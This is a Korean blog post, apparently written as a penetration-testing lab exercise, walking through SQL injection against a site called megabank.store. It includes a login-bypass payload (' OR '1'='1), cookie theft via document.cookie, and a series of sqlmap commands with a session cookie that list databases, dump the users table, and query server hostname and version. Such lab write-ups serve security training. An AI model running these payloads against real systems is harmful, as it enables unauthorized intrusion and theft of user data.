쟝이의 세상
SQLMap을 활용하여 모의해킹 본문
📌 SQLMap
: SQL Injection 취약점을 자동으로 탐지하고 악용하는 오픈소스 도구
→ 웹 애플리케이션의 데이터베이스 보안 테스트에 사용
주요 기능
1) 데이터베이스 버전 및 사용자 정보 조회
2) 테이블 및 데이터 추출
3) 파일 읽기 및 쓰기 (서버에서 권한이 있을 경우)
4) 취약점 탐지
5) HTTP 쿠키 및 세션 지원
6) 운영체제 명령 실행
✔️ SQL Injection 시도
ID: ' OR '1'='1 PW: ' OR '1'='1 입력하여 로그인 시도 SQL Injection을 통해 사용자 인증을 우회할 수 있으며, 데이터베이스에 있는 첫번째 사용자 (id=1인 사용자)의 정보로 로그인이 가능 = 공격자는 ID가 1번인 사용자의 권한으로 로그인 |
✔️ 로그인한 사용자의 쿠키 정보 가져오기
개발자도구 > Console > document.cookie 명령어를 통해 사용자의 쿠키 정보 탈취
✔️SQL Injection 취약점 탐지
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --dbs --forms
--dbs: 데이터베이스 정보 가져오기
--forms: HTML 폼에서 제출할 수 있는 모든 입력 필드를 스캔하도록 지시
--crawl=2: SQLMap이 지정한 URL을 기반으로 크롤링을 수행 (두 단계 깊이까지 연결된 페이지를 크롤링)
-> 데이터베이스 정보를 가져온 것을 확인할 수 있음
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms -D bank --tables
--tables: 데이터베이스의 테이블 목록 가져오기
-> bank 데이터베이스의 테이블을 모두 가져온 것을 확인할 수 있음
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2--forms -D bank --columns
--columns: 데이터베이스의 컬럼 가져오기
-> 일부만 가져왔지만 컬럼명, 데이터 타입 모두 확인 가능
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms -D bank -T users --dump
결과 값
-> 사용자의 모든 정보 추출 가능
✔️ 데이터베이스 버전 추출
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms --banner
--banner: 데이터베이스의 버전을 가져옴
-> 데이터베이스 버전을 가져온 것을 확인할 수 있음
데이터베이스 버전: MySQL 8.0.39
✔️ 데이터베이스 호스트명 및 버전 정보 추출
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms --sql-query "SELECT @@hostname, @@version"
--sql-query: 데이터베이스에 직접 SQL 쿼리를 실행
-> 호스트명과 버전 정보를 가져온 것을 확인할 수 있음
호스트명: ubuntu
✔️ DB 서버 정보 및 네트워크 설정 추출
sqlmap -u "http://megabank.store" --cookie="PHPSESSID=dtd504nopqibu10jden5f0os8k" --crawl=2 --forms --sql-query "SELECT @@hostname, USER(), @@global.server_id"
@@hostname: 현재 데이터베이스 서버의 호스트명 반환
USER(): 현재 데이터베이스 사용자 정보를 반환
이 함수는 로그인한 사용자 계정의 이름과 호스트 정보를 포함한다. (ex. username@hostname)
@@global.server_id: MySQL 서버의 글로벌 서버 ID를 반환
-> 호스트명: ubuntu
bankuser1이라는 사용자가 182.230.223.123 IP 주소를 통해 로그인 했음을 나타낸다.
글로벌 서버 ID기 1인 것을 보아 이 서버가 데이터 복제를 사용하는 환경에서 첫 번째 서버라는 의미이다.
👇🏻 DB 서버 주소는 아래 링크로 들어가기
https://zyangee.tistory.com/54
'자료' 카테고리의 다른 글
AWS에서 EC2 인스턴스 배포 과정 (0) | 2024.10.17 |
---|---|
웹 게시판 소스코드를 POD로 Deployment (0) | 2024.10.15 |
Nikto를 활용하여 취약점 진단 (0) | 2024.10.11 |
Nmap을 활용하여 취약점 진단 (0) | 2024.10.11 |
Ubuntu 에서 DNS 서버 구축 (0) | 2024.10.08 |